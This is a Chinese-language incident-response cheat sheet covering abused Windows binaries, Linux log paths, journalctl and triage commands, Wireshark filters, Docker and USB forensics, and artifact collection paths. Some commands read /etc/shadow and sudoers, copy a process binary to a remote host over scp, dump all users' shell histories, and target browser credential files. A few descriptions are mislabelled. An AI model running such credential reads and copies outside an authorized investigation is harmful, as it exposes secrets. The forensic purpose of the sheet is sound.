- [CryptnetURLCacheParser](https://u0041.co/posts/articals/certutil-artifacts-analysis/):AbdulRhman Alfaifi 用于分析 certutil 的 CryptAPI 缓存文件的工具
**`Reg.exe`**:用于从命令行管理 Windows 注册表的工具。
**`wscript.exe`**:Windows Script Host,旨在以编程语言执行脚本。
**`mshta.exe`**:旨在执行 Microsoft HTML 应用程序 (HTA) 文件,可以执行嵌入在 HTML 中的 Windows Script Host 代码 (VBScript 和 JScript)。
**`msiexec.exe`**:Windows 安装程序,可用于执行恶意 MSI 文件。
**`cscript.exe`**:Windows 脚本解释器,允许执行 VBScript 和 JScript 脚本。
**`netsh.exe`**:Windows 网络配置工具,可用于修改网络配置和建立隧道。
**`schtasks.exe`**:用于在 Windows 中计划任务的实用程序,可用于建立持久性或恶意任务。
**`excel.exe`**:Microsoft Excel 应用程序,可以执行嵌入文档中的恶意宏。
**`print.exe`**:用于管理打印作业的命令,可能被利用来操纵打印队列。
**`msbuild.exe`**:Microsoft 编译工具,可以编译和执行恶意代码。
**`powerpnt.exe`**:Microsoft PowerPoint 应用程序,可以在演示文稿中执行恶意宏。
**`regsvr32.exe`**:用于注册和取消注册 COM 对象的实用程序,可以从互联网恶意脚本。
**`winword.exe`**:Microsoft Word 应用程序,可以执行嵌入文档中的恶意宏。
**`shell32.exe`**:Windows 库,包含用于打开程序和文件的函数,容易被利用以执行任意命令。
## 📁 Linux
### 📜 Linux 系统日志
这些日志文件可能会因 Linux 系统发行版类型而异,可能存在也可能不存在。
| File Path | Info |
|-----------|------|
| `/var/log/syslog` | 包含由 rsyslogd 捕获的所有日志。系统全局消息,包括启动期间某些服务生成的记录、CROND 守护进程执行的程序留下的记录、用户进行的认证过程日志等。 |
| `/etc/passwd` | 包含有关用户帐户的信息。 |
| `/etc/shadow` | 包含有关用户帐户密码哈希的信息。 |
| `/etc/group` | 包含有关组和组成员的信息。 |
| `/var/log/auth.log` (Debian 及衍生版) ; `/var/log/secure` (Red Hat 及衍生版) | 存储与认证机制相关的事件,例如,当用户登录系统时、密码更改、与 sudo 相关的事件。 |
| `/var/log/audit/audit.log` | 使用 auditd 的系统,此日志包含详细的安全事件。 |
| `var/log/debug` | 记录以调试模式运行的程序的数据。通过这种方式,程序员可以获取其程序是否正常运行的信息。 |
| `/var/log/kern.log` | 此文件存储内核产生的日志。对于尝试检测和解决硬件检测问题很有用。 |
| `/proc/...` | 实时包含内核、硬件、进程的信息,以及一般的系统特性和状态信息。 |
| `/var/log/dmesg` | 记录与计算机硬件相关的信息。包含用于判断硬件是否正常工作的信息。 |
| `/var/log/dpkg.log` | 在基于 Debian 的系统中,使用 DPKG 安装或卸载软件时会生成此文件。包含安装过程中产生的记录和事件。 |
| `/var/log/messages` | 包含有关操作系统活动的信息性和非关键消息。通常包含系统启动时记录的与内核无关的错误。因此,如果某个服务(例如声音服务器)未启动,我们可以在此文件中搜索信息。 |
| `/var/log/faillog` | 记录每个用户的失败认证尝试。文件内存储用户列表、每个用户的总失败次数、允许的最大失败次数以及上次失败的日期和时间。如果用户超过设定的最大失败次数,该用户将被禁用我们设定的时间。 |
| `/var/spool/cron` | 系统所有用户创建的定时任务 crontab 文件。 |
| `/etc/crontab` | 系统一般级别 root 用户的 crontab 文件。 |
| `/etc/hosts` | 分析 hosts 文件以查找可能的 IP 地址操纵和名称解析。 |
| `/var/log/user.log` | 包含有关用户会话中产生的事件的信息,这些事件包括错误、连接和处于活动状态的网络接口。 |
| `/var/log/lastlog` | 帮助查看每个用户上次连接的日期和时间。 |
| `/tmp` 或 `/var/tmp` | 可能包含 DFIR 分析相关信息的临时文件。 |
| `/var/log/btmp` | 此文件包含有关系统中失败认证尝试的记录。存储计算机上失败的登录尝试。如果有人对 ssh 服务器进行暴力攻击,文件将记录攻击者的 IP、登录失败的日期和时间、尝试登录的用户名等。要查看此文件,请使用 utmpdump: "utmpdump /var/log/btmp"|
| `/var/log/wtmp` | 包含有关当前已认证并正在使用系统的用户的信息。相当于命令 "last"|
| `/var/run/utmp` | 查看当前登录计算机的用户。 |
| `/var/log/boot.log` | 与系统启动相关的信息。我们可以查阅它以分析系统服务是否启动、网络是否启动、存储单元是否挂载,以找出导致计算机无法启动的问题等。 |
| `/var/log/cron` | 这是一个日志文件,其中保存了由 CROND 守护进程执行的定时任务产生的记录。 |
| `/var/log/daemon.log` | 记录守护进程或后台运行的程序的活动。要查看守护进程是否启动或是否出错,我们可以查阅此日志。在 daemon.log 中,我们将找到有关启动启动管理器的守护进程、启动 MySQL 数据库的守护进程等的信息。 |
| `/var/log/apt/history.log` | 通过 apt 包管理器安装、卸载或更新的软件包的详细信息。 |
| `/var/log/apt/term.log` | 包含使用 apt 安装、更新或卸载软件包时在终端显示的所有信息。 |
| `/var/log/mail.log` | 与计算机上安装的电子邮件服务器相关的信息。在我的情况下,我使用 sendmail,并在 mail.log 中记录其所有操作。 |
| `/var/log/alternatives.log` | 记录与 alternatives 系统相关的所有操作。因此,我们使用 update-alternatives 命令执行的所有操作都将记录在此日志中。alternatives 系统允许我们定义默认文本编辑器、默认桌面环境、默认使用的 java 版本等。 |
| `/var/log/Xorg.0.log` | 记录从打开计算机到关闭计算机期间与显卡相关的所有事件。因此可以帮助检测显卡问题。 |
### 📜 Linux 应用程序日志
| File Path | Info |
|-----------|------|
| `/var/log/mysqld.log` | 记录与 MySQL 数据库管理系统相关的事件和消息。包含有关 MySQL 服务器启动和关闭、执行的查询、错误和警告以及数据库中任何相关活动的信息。 |
| `/var/log/rkhunter.log` | 记录 rkhunter 获得的所有结果。 |
| `/var/log/samba/*.*` | 在 "/var/log/samba" 位置内,有不同的日志将记录 samba 服务器中发生的事件。您会发现的一些记录是关于目录创建、文件重命名、创建和删除的文件、服务器连接和断开记录等。 |
| `/var/log/cups/*.*` | **"error_log"**、**"page_log"** 和 **"access_log"** 包含有关 IP 连接到服务器的时间、连接到服务器的用户、服务器错误和警告、打印特定文档的日期、份数等信息。 |
| `/var/log/lighttpd/*.*` | **"access.log"** 和 **"error.log"** 包含有关用户访问搭建在 lighttpd 服务器上的网页时产生的访问和错误的信息。 |
| `/var/log/apache2/access.log` 或 `/var/log/httpd/access_log` | 包含有关访问 Apache Web 服务器的用户的信息。在此文件中,可以找到诸如从特定 IP 访问的网站、IP 访问我们的时间等数据。 |
| `/var/log/apache2/error.log` 或 `/var/log/httpd/error_log` | 记录处理访问者对 Apache Web 服务器的请求时的所有错误。 |
| `/var/log/nginx/access.log` `/var/log/nginx/error.log` | **"access.log":** 记录对 Nginx 服务器的请求,包括有关请求、IP 地址和 HTTP 响应代码、客户端 user-agent 等详细信息。**"error.log":** 记录 Nginx 服务器中的错误,例如配置问题、连接错误和其他技术故障。 |
| `/var/log/prelink/` | 包含 prelink 实用程序对二进制文件和共享库进行的修改的信息。 |
| `/var/log/mysql/mysql.log` | 记录客户端发送到服务器的所有语句。 |
| `/var/log/mysql/error.log` | 记录启动、执行或停止服务时检测到的错误或问题。因此,如果 MySQL 或 MariaDB 未启动,我们需要访问此文件以获取有关问题的信息。 |
| `/var/log/mysql/mysql-slow.log` | 我们将找到有关执行时间超过系统变量 long_query_time 指定秒数的语句的信息。通过这种方式,我们可以了解执行缓慢的 SQL 语句。 |
| `/var/log/fail2ban.log` | 记录特定 IP 在尝试访问特定服务(通常是 SSH)时被阻止和解锁的时间戳。 |
| `/var/log/openvpn.log` | 特定 IP 连接到 OpenVPN 服务器的时间。虽然对于记录失败的认证尝试,也可以使用 fail2ban。 |
| `/var/log/openvpn-status.log` | 包含有关连接到 OpenVPN 服务器的用户的信息。包含的信息示例包括每个用户的 IP、特定 IP 连接使用的用户帐户、每个用户启动连接的时间等。 |
| `/var/log/letsencrypt/letsencrypt.log` | 包含有关 Let's Encrypt 证书的各种信息。例如,证书续订是否发生错误。 |
### 📜 journalctl 日志
**Systemd**:是 Linux 中的一个现代系统,它取代了 SysV init,提高了启动和服务管理的效率。SysV 既代表 Unix System V 操作系统,也代表基于传统初始化脚本的启动风格,"init.d" 使用这种方法管理系统上的服务。Systemd 引入了 "journalctl" 等工具,允许高效访问和分析系统的结构化记录。
**Journalctl**:是 Linux 中的一种工具,它与 systemd 的日志配合使用,提供对 systemd Journal 中结构化记录的访问。它通过结构化的二进制记录(与传统的纯文本记录相比),便于对系统事件进行高级查询和分析。
配置系统时间以 UTC 或本地时间查看日志,systemd 默认将以本地时间显示结果。
```
timedatectl list-timezones
timedatectl set-timezone
timedatectl status
```
按优先级过滤。
```
Journalctl -p
# 0: 紧急
# 1: 警报
# 2: 严重
# 3: 错误
# 4: 警告
# 5: 通知
# 6: 信息
# 7: 调试
```
按日期/时间和范围过滤。
```
journalctl --since "YYYY-MM-DD"
journalctl --since "YYYY-MM-DD HH:MM:SS"
journalctl --since "-5 day"
journalctl --until "YYYY-MM-DD"
journalctl --since "YYYY-MM-DD HH:MM:SS" --until "YYYY-MM-DD HH:MM:SS"
```
显示最近 20 条记录。
```
journalctl -n 20
```
实时跟踪日志(相当于 tail -f)。
```
journalctl -f # Equivalente a "journalctl" y después presionar "Shift+F".
```
显示系统中存在的所有启动列表。
```
journalctl --list-boots
```
显示内核记录。
```
journalctl -k
```
显示上一次启动会话的记录,以跟踪系统重启之前的事件。
```
journalctl -b -1
```
显示依赖于 systemd 的服务。
```
systemctl list-units -t service --all
```
按服务过滤。
```
journalctl -u sshd.service
journalctl -u sshd.service -u dbus.service
journalctl -u sshd.service --since today
```
更改输出结果的格式。
```
journalctl -b -u nginx -o json
journalctl -b -u nginx -o json-pretty
journalctl -b -u nginx -o short # Resultado similar a un estilo syslog.
```
按进程、用户、组或服务过滤。
```
journalctl _PID=
journalctl _UID=
journalctl _GID=
journalctl _COMM=
# 过滤当天的结果: --since today
```
显示磁盘中的记录。
```
journalctl /dev/sda
```
显示标准输出结果。
```
journalctl --no-pager
```
删除并保存旧记录。
```
# 删除旧条目,直到日志总占用空间达到指定大小。
sudo journalctl --vacuum-size=1G
# 保存过去一年的条目。
sudo journalctl --vacuum-time=1years
```
分析系统启动和关闭事件。
```
journalctl _SYSTEMD_UNIT=systemd-logind.service
```
显示与其删除 (rm) 相关的文件修改事件。
```
journalctl /usr/bin/rm
```
搜索权限提升尝试。
```
journalctl | grep "sudo"
```
显示注册表文件修改事件。
```
journalctl /var/log/audit/audit.log
journalctl /usr/bin/journalctl
```
搜索在临时目录中执行程序的事件。
```
journalctl _COMM="mv" OR _COMM="cp" | grep "/tmp/"
```
分析服务配置文件的更改。
```
journalctl /etc/nginx/nginx.conf
```
显示配置文件的更改。
```
journalctl /usr/bin/vi
journalctl /usr/bin/vim
journalctl /usr/bin/nano
```
按 SSH 失败登录事件过滤。
```
journalctl _SYSTEMD_UNIT=sshd.service | grep "Failed password"
```
显示远程用户登录事件。
```
journalctl _SYSTEMD_UNIT=sshd.service | grep "Accepted"
```
搜索 shell 命令执行事件。
```
journalctl _COMM="bash" OR _COMM="sh"
```
显示设备挂载和卸载事件。
```
journalctl _COMM="mount" OR _COMM="umount"
```
显示文件权限更改事件。
```
journalctl _COMM="chmod" OR _COMM="chown"
```
显示成功登录事件。
```
journalctl SYSLOG_FACILITY=4
```
显示 cronjobs 中的更改。
```
journalctl /usr/sbin/cron
```
### 📜 通过仍在运行的进程复制已删除的恶意二进制文件
即使删除了恶意软件进程的二进制文件,它仍然在内核空间中。因此,可以使用 *scp* 命令直接复制可疑的 Linux 进程二进制文件。
```
scp /proc//exe user@ip:/recovered_binary
```
### 📜 识别并获取具有恶意进程 PID 的文件(Linux SSH 连接)
他们通过 SSH 连接到系统并启动了恶意进程。即使他们删除了命令历史记录。
这是一种获取具有恶意进程 PID 的文件的方法(类似于 notty SSH 案例)
```
grep -l SSH_C /proc/*/environ
```
### 📜 在事件响应初步分析中收集信息(Linux 系统)
在 /etc/ 目录中搜索可读文件。
```
find /etc/ -readable -type f 2>/dev/null
```
搜索过去 2 天或 N 天内修改过的文件。
```
find / -mtime -2 -ls
find / -mtime -[N]
```
搜索特定文件。
```
find / -name [ARCHIVO]
updatedb ; locate [ARCHIVO]
```
搜索超过 N 字节的文件。
```
find / -size +[N]c
```
显示所有 iptables 规则。
```
iptables -L -n -v
# Debian/Ubuntu
cat /etc/iptables/rules.v4
cat /etc/iptables/rules.v6
# Red Hat/CentOS
cat /etc/sysconfig/iptables
```
显示所有服务的状态。
```
service --status-all
```
列出正在运行的服务。
```
systemctl list-units --type=service
```
以树状格式列出带有 PID 的进程。
```
pstree -p
```
以自定义格式列出进程。
```
ps -eo pid,tt,user,fname,rsz
```
列出与网络连接关联的打开文件。
```
lsof -i
```
列出监听特定端口的进程/服务。
```
lsof -i:[PUERTO]
```
列出进程打开的文件。
```
lsof -p [PID]
```
显示内存信息。
```
cat /proc/meminfo
```
显示已挂载的文件系统。
```
cat /proc/mounts
```
搜索 root 帐户。
```
grep :0: /etc/passwd
```
搜索无用户的文件。
```
find / -nouser -print
```
列出加密密码和帐户过期信息。
```
cat /etc/shadow
chage --list [USUARIO]
```
列出系统和服务组信息。
```
cat /etc/group
```
列出 sudoers 文件,检查可以在特权上下文中提升权限的用户。
```
cat /etc/sudoers
```
列出用户和服务帐户。
```
cat /etc/passwd
```
列出用户密码状态。
```
passwd -S [USUARIO]
```
"列出最近的登录。
```
lastlog
```
列出最后连接的用户。
```
last
```
列出谁已登录以及正在执行什么进程。
```
who
w
```
### 📜 Linux Shell 命令历史记录(.bash_history & .zsh_history)
对系统所有用户执行的命令历史记录进行备份,包括创建文件的用户 /root:`.bash_history` 或 `.zsh_history`。
```
for i in /home/* /root; do [ -d "$i" ] && { [ -s "$i"/.bash_history ] || [ -s "$i"/.zsh_history ]; } && { [ -f "$i"/.bash_history ] && cat "$i"/.bash_history || true; [ -f "$i"/.zsh_history ] && cat "$i"/.zsh_history || true; } > "$(basename "$i")_history_backup.txt"; done
```
### 📜 Linux 所有目录和文件转储
```
find / -type f 2> /dev/null > dump_sys_files.txt
find / -type d 2> /dev/null > dump_sys_dirs.txt
```
### 📜 使用 LiME (Linux Memory Extractor) 在 Linux 中转储 RAM 内存
**LiME** 是一个 LKM (可加载内核模块),允许从 Linux 和基于 Linux 的设备(如 Android 移动系统获取易失性内存。从取证角度来看,它允许比其他工具更稳健的内存捕获。
一旦安装了 LiME 并以 lime 格式将模块加载到内核中,我们就可以使用 **Volatility** 对其进行后续分析。
```
apt install build-essential linux-headers-(uname -r) ; git clone https://github.com/504ensicsLabs/LiME ; cd Lime/src ; make
sudo insmod lime-3.5.0-23-generic.ko "path=/media/Forensics/ram.lime format=lime"
```
### 📜 检查用户是否执行了 "sudo" 命令
在可能的攻击者创建了新用户并删除了命令历史记录的情况下,但尚无法确认攻击者是否通过执行 "sudo" 命令获得了 root 权限。
检查用户主目录中是否存在文件 **".sudo_as_admin_successful"**。如果找到,则攻击者执行了 "sudo" 命令。
### 📜 检测 Linux 无文件恶意软件
这些恶意软件在内存中分配恶意字节并执行。一种检测方法是针对任何进程使用 *memfd*,这可以指示无文件恶意软件。
```
cat /proc/*/maps | grep "memfd"
```
## 📁 网络
### 📜 面向分析师的 Wireshark 过滤器
- Wireshark 参考:https://www.wireshark.org/docs/dfref
- Brim Zed(简化 .pcapng 超结构数据分析的工具):https://www.brimdata.io/download
按 IP 地址过滤。其中 "x.x.x.x" 是要过滤的 IP 地址。
```
ip.addr == x.x.x.x
```
按 IP 地址范围过滤。其中 "x.x.x.x" 和 "y.y.y.y" 是范围的起始和结束 IP 地址。
```
ip.addr >= x.x.x.x and ip.addr <= y.y.y.y
```
按网络接口过滤。仅显示在 eth0 接口上捕获的数据包。
```
interface == eth0
```
按端口过滤。其中 "80" 和 "53" 是要过滤的端口号。
```
tcp.port == 80
udp.port == 53
```
按数据包长度过滤。仅显示超过 100 字节的数据包。
```
frame.len > 100
```
按源或目标 MAC 地址过滤。其中 "xx:xx:xx:xx:xx:xx" 是要过滤的源和目标 MAC 地址。
```
eth.src == xx:xx:xx:xx:xx:xx
eth.dst == xx:xx:xx:xx:xx:xx
```
按 HTTP 方法过滤。仅显示带有 GET 方法的数据包。可以将 GET 替换为其他 HTTP 方法,如 POST、PUT、DELETE 等。
```
http.request.method == GET
http.request.method == POST && frame contains "login"
```
按 HTTP 状态代码过滤。
```
# 正常响应。
http.response.code == 200
# 重定向响应。 301 永久重定向和 302 临时重定向。
http.response.code == 301 or http.response.code == 302
# "Not Found" 错误响应。
http.response.code == 404
```
按 HTTP URI 过滤。仅显示 URI 包含 "domain.com" 的数据包。可以将 "domain.com" 替换为任何其他 URI 字符串。
```
http.request.uri contains 'domain.com'
```
按 HTTP cookie 过滤。仅显示包含名为 "sessionid" 的 cookie 的数据包。
```
http.cookie contains 'sessionid'
```
按数据包大小过滤。仅显示超过 1000 字节的数据包。
```
frame.len > 1000
```
按包含指定术语的数据包过滤。
```
tcp contains 'TERMINO'
```
过滤所有不使用 ARP、ICMP、DNS、SSDP 或 UDP 协议的数据包。
```
!(arp or icmp or dns or ssdp or udp)
```
过滤所有源或目标 TCP 端口为 22 或 443 的数据包。
```
(tcp.port in {22 443})
```
DNS 过滤器。
```
# 包含 "domain.com" 域名的 DNS 数据包
dns.qry.name contains 'domain.com'
dns.resp.name == domain.com
# DNS 指针查询/响应 (PTR, 反向 DNS)
dns.qry.type == 12
# MX 查询
dns.qry.type == 15
# 仅 DNS 查询。
dns.flags.response == 0
# 仅 DNS 响应查询。
dns.flags.response eq 1 # only DNS response queries
# DNS 错误。
dns.flags.rcode != 0 or (dns.flags.response eq 1 and dns.qry.type eq 28 and !dns.aaaa)
# 不存在的 NXDomain。
dns.flags.rcode == 3
# 无错误, nslookup microsoft.com 193.247.121.196。
((dns.flags.rcode == 3) && !(dns.qry.name contains ".local") && !(dns.qry.name contains ".svc") && !(dns.qry.name contains ".cluster"))
(dns.flags.rcode == 0) && (dns.qry.name == "microsoft.com")
dns.flags.rcode != 0 or (dns.flags.response eq 1 and dns.qry.type eq 28 and !dns.aaaa)
```
TLS 过滤器。
```
# TLS 握手。
tls.record.content_type == 22
# 按 SSL/TLS 握手类型过滤。
ssl.handshake.type = TLS
ssl.handshake.type = SSL
# "TLS Client Hello" 数据包。
tls.handshake.type == 1
# "TLS Server Hello" 数据包。
tls.handshake.type == 2
# 连接关闭。
tls.record.content_type == 21
# 涉及网站 "badsite.com" 的客户端与服务器之间通信相关的数据包。
tls.handshake.extensions_server_name contains "badsite.com"
# 当发生超时时,客户端通常会向服务器发送 RST,以过滤掉握手超时的数据包。
(tcp.flags.reset eq 1) and (tcp.flags.ack eq 0)
# 在服务器握手期间,响应 SYNACK 较慢的数据包。
tcp.flags eq 0x012 && tcp.time_delta gt 0.0001
```
GeoIP 过滤器。
```
# 排除来自美国的流量。
ip and not ip.geoip.country == "United States"
# 目标城市 [IPv4]。
ip.geoip.dst_city == "Dublin"
# 源或目标城市 [IPv4]。
ip.geoip.city == "Dublin"
ip.geoip.dst_country == "Ireland"
ip.geoip.dst_country_iso == "IE"
# 除美国外的所有目标国家。
!ip.geoip.country == "United States"
not ip.geoip.country == "United States"
```
设置在任何偏移量下 HEX 值为 0x22 0x34 0x46 的过滤器。
```
udp contains 22:34:46
```
按 TCP 标志过滤。仅显示设置了 SYN 标志的数据包。可以将 SYN 替换为任何其他 TCP 标志,如:ACK、RST、FIN、URG 或 PSH。
```
tcp.flags.syn == 1
```
显示所有 SYN+ACK TCP 标志。
```
tcp.flags.syn == 1 && tcp.flags.ack == 1
```
显示所有 RST TCP 标志。
```
tcp.flags.rst == 1
```
显示具有 TCP 重复确认的数据包。
```
tcp.analysis.duplicate_ack
```
## 📁 容器
### 📜 Docker 容器取证分析
如果恶意容器在启动时修改文件或执行恶意软件操作,许多安全工件可能会丢失。解决方案可能是处理已创建但未启动的容器。
提取 Docker 容器文件系统。
- 参考:https://iximiuz.com/en/posts/docker-image-to-filesystem
以官方 nginx 镜像为例。
选项 1:**`docker export`**
```
docker pull nginx
CONT_ID=$(docker run -d nginx)
docker export ${CONT_ID} -o nginx.tar.gz
mkdir rootfs
tar -xf nginx.tar.gz -C rootfs
ls -lathF rootfs
```
选项 2:**`docker build`**
```
echo 'FROM nginx' > Dockerfile
DOCKER_BUILDKIT=1 docker build -o rootfs .
ls -lathF rootfs
```
选项 3:**`crt (containerd CLI)`**
将容器镜像挂载为主机的本地文件夹。
```
ctr image pull docker.io/library/nginx:latest
mkdir rootfs
ctr image mount docker.io/library/nginx:latest rootfs
ls -lathF rootfs
```
## 📁 Android & iOS
### 📜 Android 取证:已删除和通过 WhatsApp 发送的图像证据
用户通过 Whatsapp 发送了图像,然后从其移动设备中删除了这些图像,但这些图像仍然位于 WhatsApp 的 "sent" 文件夹中。
```
"Internal storage/Android/media/com.whatsapp/WhatsApp/Media/WhatsApp Images/Sent"
```
## 📁 其他
### 📜 Windows、Linux 和 MacOS 中的 USB 设备工件
`Windows`
要分析的 USB 注册表分支:
```
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USB
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Portable Devices\Devices
HKEY_LOCAL_MACHINE\SYSTEM\MountedDevices
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\DeviceClasses
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\SWD\WPDBUSENUM
HKEY_USERS\SID\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Portable Devices
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Search\VolumeInfoCache
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\ Windows NT\CurrentVersion\EMDMgmt
```
要分析的其他 USB 工件:
```
C:\Windows\System32\winevt\Logs\Microsoft-Windows-DriverFrameworks-UserMode%4Operational.evtx (Windows 7)
C:\Windows\System32\winevt\Logs\Microsoft-Windows-Storage-ClassPnP/Operational.evtx
C:\Windows\System32\winevt\Logs\Microsoft-Windows-WPD-MTPClassDriver/Operational.evtx
C:\Windows\System32\winevt\Logs\Microsoft-Windows-Partition%4Diagnostic.evtx
C:\Windows\System32\winevt\Logs\Microsoft-Windows-Ntfs%4Operational.evtx
C:\Windows\INF\setupapi.dev.log
C:\Windows\INF\setupapi.dev.yyyymmdd_hhmmss.log
C:\Windows\setupapi.log
C:\Users\\AppData\Roaming\Microsoft\Windows\Recent\
Carpeta "Windows.old"
Volume Shadow Copies
```
**Event ID 6416**:系统识别出新的外部设备。
- https://learn.microsoft.com/es-es/windows/security/threat-protection/auditing/event-6416
其他事件:
```
10000: Primera conexión dispositivo USB.
20001: Instalación o actualización de UserPNP.
24576: Instalación correcta de controladores WPD (Windows Portable Devices).
```
**Logman**:捕获 USB 事件跟踪。
- https://learn.microsoft.com/es-es/windows-hardware/drivers/usbcon/how-to-capture-a-usb-event-trace
`Linux`
基于 Debian 的发行版。
```
/var/log/syslog
```
基于 Red Hat 的发行版。
通过在 "/etc/usb_modeswitch.conf" 文件中配置 "EnableLogging=1" 来启用详细的 USB 日志记录。
```
/var/log/messages
/var/log/usb_modeswitch_
```
`Mac OSX`
```
/private/var/log/kernel.log
/private/var/log/kernel.log.incrementalnumber.bz2
/private/var/log/system.log
/private/var/log/system.log.incrementalnumber.gz
```
`第三方工具`
- USBDeview: https://www.nirsoft.net/utils/usb_devices_view.html
- USB Forensic Tracker (USBFT) Windows, Linux 和 MacOS: https://www.orionforensics.com/forensics-tools/usb-forensic-tracker
### 📜 Windows、Linux 和 MacOS 路径工件收集
`WINDOWS`
系统根目录 (C:\Windows):
```
%SYSTEMROOT%\Tasks\*
%SYSTEMROOT%\Prefetch\*
%SYSTEMROOT%\System32\sru\*
%SYSTEMROOT%\System32\winevt\Logs\*
%SYSTEMROOT%\System32\Tasks\*
%SYSTEMROOT%\System32\Logfiles\W3SVC1\*
%SYSTEMROOT%\Appcompat\Programs\*
%SYSTEMROOT%\SchedLgU.txt
%SYSTEMROOT%\inf\setupapi.dev.log
%SYSTEMROOT%\System32\drivers\etc\hosts
%SYSTEMROOT%\System32\config\SAM
%SYSTEMROOT%\System32\config\SOFTWARE
%SYSTEMROOT%\System32\config\SECURITY
%SYSTEMROOT%\System32\config\SOFTWARE
%SYSTEMROOT%\System32\config\SAM.LOG1
%SYSTEMROOT%\System32\config\SOFTWARE.LOG1
%SYSTEMROOT%\System32\config\SECURITY.LOG1
%SYSTEMROOT%\System32\config\SOFTWARE.LOG1
%SYSTEMROOT%\System32\config\SAM.LOG2
%SYSTEMROOT%\System32\config\SOFTWARE.LOG2
%SYSTEMROOT%\System32\config\SECURITY.LOG2
%SYSTEMROOT%\System32\config\SOFTWARE.LOG2
```
程序数据 (C:\ProgramData):
```
%PROGRAMDATA%\Microsoft\Windows\Start Menu\Programs\Startup\*
```
驱动器根目录 (C:\\)
```
%SYSTEMDRIVE%\$Recycle.Bin\*\$I*
%SYSTEMDRIVE%\$Recycle.Bin\$I*
%SYSTEMDRIVE%\$LogFile
%SYSTEMDRIVE%\$MFT
```
用户配置文件 (C:\Users\\*):
```
%USERPROFILE%\NTUser.DAT
%USERPROFILE%\NTUser.DAT.LOG1
%USERPROFILE%\NTUser.DAT.LOG2
%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Recent\*
%USERPROFILE%\AppData\Local\Microsoft\Windows\PowerShell\*
%USERPROFILE%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
%USERPROFILE%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\Visual Studio Code Host_history.txt
%USERPROFILE%\AppData\Local\Microsoft\Windows\PowerShell\ScheduledJobs\*
%USERPROFILE%\AppData\Roaming\Mozilla\Firefox\Profiles\*
%USERPROFILE%\AppData\Local\Microsoft\Windows\WebCache\*
%USERPROFILE%\AppData\Local\Microsoft\Windows\Explorer\*
%USERPROFILE%\AppData\Local\Microsoft\Windows\UsrClass.dat
%USERPROFILE%\AppData\Local\Microsoft\Windows\UsrClass.dat.LOG1
%USERPROFILE%\AppData\Local\Microsoft\Windows\UsrClass.dat.LOG2
%USERPROFILE%\AppData\Local\ConnectedDevicesPlatform\*
%USERPROFILE%\AppData\Local\Google\Chrome\User Data\Default\History\*
%USERPROFILE%\AppData\Local\Microsoft\Edge\User Data\Default\History\*
%USERPROFILE%\AppData\Local\Temp
```
`LINUX`
系统路径:
```
/etc/hosts.allow
/etc/hosts.deny
/etc/hosts
/etc/passwd
/etc/group
/etc/crontab
/etc/cron.allow
/etc/cron.deny
/etc/anacrontab
/etc/apt/sources.list
/etc/apt/trusted.gpg
/etc/apt/trustdb.gpg
/etc/resolv.conf
/etc/fstab
/etc/issues
/etc/issues.net
/etc/insserv.conf
/etc/localtime
/etc/timezone
/etc/pam.conf
/etc/rsyslog.conf
/etc/xinetd.conf
/etc/netgroup
/etc/nsswitch.conf
/etc/ntp.conf
/etc/yum.conf
/etc/chrony.conf
/etc/chrony
/etc/sudoers
/etc/logrotate.conf
/etc/environment
/etc/hostname
/etc/host.conf
/etc/fstab
/etc/machine-id
/etc/screen-rc
/etc/rc.d/*
/etc/cron.daily/*
/etc/cron.hourly/*
/etc/cron.weekly/*
/etc/cron.monthly/*
/etc/modprobe.d/*
/etc/modprobe-load.d/*
/etc/*-release
/etc/pam.d/*
/etc/rsyslog.d/*
/etc/yum.repos.d/*
/etc/init.d/*
/etc/systemd.d/*
/etc/default/*
/var/log/*
/var/spool/at/*
/var/spool/cron/*
/var/spool/anacron/cron.daily
/var/spool/anacron/cron.hourly
/var/spool/anacron/cron.weekly
/var/spool/anacron/cron.monthly
/boot/grub/grub.cfg
/boot/grub2/grub.cfg
/sys/firmware/acpi/tables/DSDT
```
用户路径:
```
/root/.*history
/root/.*rc
/root/.*_logout
/root/.ssh/config
/root/.ssh/known_hosts
/root/.ssh/authorized_keys
/root/.selected_editor
/root/.viminfo
/root/.lesshist
/root/.profile
/root/.selected_editor
/home/*/.*history
/home/*/.ssh/known_hosts
/home/*/.ssh/config
/home/*/.ssh/autorized_keys
/home/*/.viminfo
/home/*/.profile
/home/*/.*rc
/home/*/.*_logout
/home/*/.selected_editor
/home/*/.wget-hsts
/home/*/.gitconfig
/home/*/.mozilla/firefox/*.default*/*/*.sqlite*
/home/*/.mozilla/firefox/*.default*/*/*.json
/home/*/.mozilla/firefox/*.default*/*/*.txt
/home/*/.mozilla/firefox/*.default*/*/*.db*
/home/*/.config/google-chrome/Default/History*
/home/*/.config/google-chrome/Default/Cookies*
/home/*/.config/google-chrome/Default/Bookmarks*
/home/*/.config/google-chrome/Default/Extensions/*
/home/*/.config/google-chrome/Default/Last*
/home/*/.config/google-chrome/Default/Shortcuts*
/home/*/.config/google-chrome/Default/Top*
/home/*/.config/google-chrome/Default/Visited*
/home/*/.config/google-chrome/Default/Preferences*
/home/*/.config/google-chrome/Default/Login Data*
/home/*/.config/google-chrome/Default/Web Data*
```
`MACOS`
系统路径:
```
/etc/hosts.allow
/etc/hosts.deny
/etc/hosts
/etc/passwd
/etc/group
/etc/rc.d/*
/var/log/*
/private/etc/rc.d/*
/private/etc/hosts.allow
/private/etc/hosts.deny
/private/etc/hosts
/private/etc/passwd
/private/etc/group
/private/var/log/*
/System/Library/StartupItems/*
/System/Library/LaunchAgents/*
/System/Library/LaunchDaemons/*
/Library/StartupItems/*
/Library/LaunchAgents/*
/Library/LaunchDaemons/*
/.fseventsd/*
```
库路径:
```
*/Library/*Support/Google/Chrome/Default/*
*/Library/*Support/Google/Chrome/Default/History*
